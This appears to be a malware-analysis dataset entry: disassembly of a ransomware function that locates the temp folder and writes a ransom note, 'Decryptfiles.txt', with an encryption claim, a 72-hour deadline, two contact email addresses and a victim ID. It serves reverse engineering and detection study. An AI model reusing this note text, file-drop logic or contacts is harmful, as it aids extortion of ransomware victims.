Function at 0x40f310
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4848ae
mov eax, dword fs:[0]
push eax
sub esp, 0x238
mov eax, dword [0x4b6134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x15c]
mov dword [ebp - 4], 0
push 0x4a5150
mov dword [ebp - 0x22c], esi
push eax
mov dword [ebp - 0x228], 0
call fcn.0040af10
push str.Private
lea eax, [ebp - 0x174]
mov dword [ebp - 4], 1
push eax
call fcn.0040af10
lea eax, [ebp - 0x174]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x144]
call fcn.004162f0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x144]
mov ecx, 0xcd6
mov dword [ebp - 0x12c], 0
cmp dword [ebp - 0x134], ecx
mov dword [ebp - 0x11c], 0
cmovb ecx, dword [ebp - 0x134]
cmp dword [ebp - 0x130], 0x10
push ecx
cmovae eax, dword [ebp - 0x144]
lea ecx, [ebp - 0x12c]
push eax
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
call fcn.00418780
mov dword [ebp - 0x228], 2
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 4
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x11
mov dword [esi], 0
mov ecx, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
push str.Decryptfiles.txt
mov byte [esi], 0
call fcn.00418780
push esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x228], 3
push eax
lea eax, [ebp - 0x244]
push eax
call fcn.0041a520
add esp, 0xc
mov ecx, esi
push eax
call fcn.00416230
mov edx, dword [ebp - 0x230]
cmp edx, 0x10
jb 0x40f499
mov ecx, dword [ebp - 0x244]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f48f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f805
push edx
push ecx
call fcn.0045d9bb
add esp, 8
push 0xb0
lea eax, [ebp - 0x224]
push 0
push eax
call fcn.0045f780
add esp, 4
lea ecx, [ebp - 0x224]
push 2
push esi
call fcn.00412140
mov edx, str.ATTENTION_
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x224]
call fcn.0041a270
mov edx, 0x4a51cc
mov ecx, eax
call fcn.0041a270
mov edx, str.Dont_worry__you_can_return_your_files_
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.All_your_files_like_photos__videos_and_other_important_documents_are_encrypted_with_a_strong_encryption_algorithm_and_unique_key.
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.The_only_method_of_recovering_files_is_to_purchase_a_decrypt_tool_and_your_key.
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.Do_not_try_to_recover_your_files_without_a_decrypt_tool__you_may_damage_them_making_them_impossible_to_recover
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a51cc
mov ecx, eax
call fcn.0041a270
mov edx, str.we_advise_you_contact_us_in_less_than_72_hours__otherwise_there_is_a_possibility_that_your_files_will_never_be_returned.
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.We_will_not_wait_for_your_letter_for_a_long_time__mail_can_be_abused__we_are_moving_on__hurry_up_with_the_decision.
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a51cc
mov ecx, eax
call fcn.0041a270
mov edx, str.Check_your_email_Spam_or_Junk_foeder_if_you_dont_get_answer_within_6_hours.
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a51cc
mov ecx, eax
call fcn.0041a270
mov edx, str.Contact_us
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.email_:edfr789_tutanota.com
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str._______edfr789_tutamail.com
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.Attach_this_file_in_the_email.
mov ecx, eax
call fcn.0041a270
mov edx, 0x4a5164
mov ecx, eax
call fcn.0041a270
mov edx, str.ID_:
mov ecx, eax
call fcn.0041a270
cmp dword [ebp - 0x148], 0x10
lea edx, [ebp - 0x15c]
push dword [ebp - 0x14c]
cmovae edx, dword [ebp - 0x15c]
mov ecx, eax
call fcn.0041cfb0
cmp dword [ebp - 0x118], 0x10
lea edx, [ebp - 0x12c]
push dword [ebp - 0x11c]
cmovae edx, dword [ebp - 0x12c]
mov ecx, eax
call fcn.0041cfb0
push eax
call fcn.0041aa90
add esp, 0xc
lea ecx, [ebp - 0x220]
call fcn.00417de0
test eax, eax
jne 0x40f676
mov eax, dword [ebp - 0x224]
lea ecx, [ebp - 0x224]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004022e0
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x228], eax
lea ecx, [ebp - 0x220]
call fcn.00412d80
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x228], eax
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0045c60e
mov edx, dword [ebp - 0x118]
add esp, 4
cmp edx, 0x10
jb 0x40f726
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f71c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f80a
push edx
push ecx
call fcn.0045d9bb
add esp, 8
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x40f77b
mov ecx, dword [ebp - 0x144]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f771
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f80a
push edx
push ecx
call fcn.0045d9bb
add esp, 8
mov edx, dword [ebp - 0x160]
cmp edx, 0x10
jb 0x40f7b1
mov ecx, dword [ebp - 0x174]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f7a7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f80a
push edx
push ecx
call fcn.0045d9bb
add esp, 8
mov edx, dword [ebp - 0x148]
cmp edx, 0x10
jb 0x40f7e7
mov ecx, dword [ebp - 0x15c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f7dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f80a
push edx
push ecx
call fcn.0045d9bb
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045d512
mov esp, ebp
pop ebp
ret 4
call fcn.0046c3be
call fcn.0046c3be
int3